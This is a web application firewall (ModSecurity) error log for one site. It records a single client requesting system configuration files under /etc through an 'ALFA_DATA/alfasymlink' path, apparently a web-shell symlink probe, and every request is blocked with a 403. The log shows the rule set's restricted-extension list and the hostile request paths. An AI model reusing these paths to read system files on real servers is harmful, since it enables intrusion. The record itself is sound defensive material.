[Sun Oct 25 14:29:41.798194 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:53145] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/locale.conf"] [unique_id "at5KleKLKrCYLMnXfck7gQAAAAg"]
[Sun Oct 25 14:29:41.798409 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:53145] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/locale.conf"] [unique_id "at5KleKLKrCYLMnXfck7gQAAAAg"]
[Sun Oct 25 14:29:41.799970 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:53146] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/logrotate.conf"] [unique_id "at5KlQl_YuTmdn3pCPOXWgAAAAk"]
[Sun Oct 25 14:29:41.800175 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:53146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/logrotate.conf"] [unique_id "at5KlQl_YuTmdn3pCPOXWgAAAAk"]
[Sun Oct 25 14:29:41.800412 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:53146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/logrotate.conf"] [unique_id "at5KlQl_YuTmdn3pCPOXWgAAAAk"]
[Sun Oct 25 14:29:41.802031 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:53147] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "at5KlSEQblycZeXKbm74nwAAAAU"]
[Sun Oct 25 14:29:41.802220 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:53147] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "at5KlSEQblycZeXKbm74nwAAAAU"]
[Sun Oct 25 14:29:41.802440 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:53147] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "at5KlSEQblycZeXKbm74nwAAAAU"]
[Sun Oct 25 14:29:41.805221 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:64804] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mke2fs.conf"] [unique_id "at5KlSpTNKVnE1oMPCDtJgAAAAA"]
[Sun Oct 25 14:29:41.805417 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:64804] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mke2fs.conf"] [unique_id "at5KlSpTNKVnE1oMPCDtJgAAAAA"]
[Sun Oct 25 14:29:41.805653 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:64804] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mke2fs.conf"] [unique_id "at5KlSpTNKVnE1oMPCDtJgAAAAA"]
[Sun Oct 25 14:29:41.659742 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:53138] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libaudit.conf"] [unique_id "at5Klai7oKzIlJx03ipNYQAAAAE"]
[Sun Oct 25 14:29:41.808382 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:53138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libaudit.conf"] [unique_id "at5Klai7oKzIlJx03ipNYQAAAAE"]
[Sun Oct 25 14:29:41.808681 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:53138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libaudit.conf"] [unique_id "at5Klai7oKzIlJx03ipNYQAAAAE"]
[Sun Oct 25 14:29:41.810737 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:64806] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/firewalld-sysctls.conf"] [unique_id "at5KlYptOg7YDpX4xSOWwgAAABA"]
[Sun Oct 25 14:29:41.810932 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:64806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/firewalld-sysctls.conf"] [unique_id "at5KlYptOg7YDpX4xSOWwgAAABA"]
[Sun Oct 25 14:29:41.811153 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:64806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/firewalld-sysctls.conf"] [unique_id "at5KlYptOg7YDpX4xSOWwgAAABA"]
[Sun Oct 25 14:29:41.812407 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:64805] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/lockd.conf"] [unique_id "at5KlcO5MiLAYQWXs3NDMAAAAAc"]
[Sun Oct 25 14:29:41.812623 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:64805] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/lockd.conf"] [unique_id "at5KlcO5MiLAYQWXs3NDMAAAAAc"]
[Sun Oct 25 14:29:41.812840 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:64805] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/lockd.conf"] [unique_id "at5KlcO5MiLAYQWXs3NDMAAAAAc"]
[Sun Oct 25 14:29:41.725782 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:53140] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libreport/events.d/collect_dnf.conf"] [unique_id "at5KlbmAKu18kw3DYL-PPQAAAA8"]
[Sun Oct 25 14:29:41.813617 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:53140] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libreport/events.d/collect_dnf.conf"] [unique_id "at5KlbmAKu18kw3DYL-PPQAAAA8"]
[Sun Oct 25 14:29:41.813877 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:53140] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libreport/events.d/collect_dnf.conf"] [unique_id "at5KlbmAKu18kw3DYL-PPQAAAA8"]
[Sun Oct 25 14:29:41.813946 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:53140] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libreport/events.d/collect_dnf.conf"] [unique_id "at5KlbmAKu18kw3DYL-PPQAAAA8"]
[Sun Oct 25 14:29:41.813986 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:53140] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libreport/events.d/collect_dnf.conf"] [unique_id "at5KlbmAKu18kw3DYL-PPQAAAA8"]
[Sun Oct 25 14:29:41.915862 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:64813] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mtools.conf"] [unique_id "at5KlZKSFHHoiviJa5dqlQAAAAo"]
[Sun Oct 25 14:29:41.916245 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:64813] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mtools.conf"] [unique_id "at5KlZKSFHHoiviJa5dqlQAAAAo"]
[Sun Oct 25 14:29:41.916552 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:64813] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mtools.conf"] [unique_id "at5KlZKSFHHoiviJa5dqlQAAAAo"]
[Sun Oct 25 14:29:41.924106 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:64809] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/tuned.conf"] [unique_id "at5KlWT7SK5esjpOWSjqvgAAABY"]
[Sun Oct 25 14:29:41.977733 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:64809] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/tuned.conf"] [unique_id "at5KlWT7SK5esjpOWSjqvgAAABY"]
[Sun Oct 25 14:29:41.978110 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:64809] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/modprobe.d/tuned.conf"] [unique_id "at5KlWT7SK5esjpOWSjqvgAAABY"]
[Sun Oct 25 14:29:42.157392 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:64889] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfs.conf"] [unique_id "at5KlkqRyDR58ONJ8xcK-AAAAAs"]
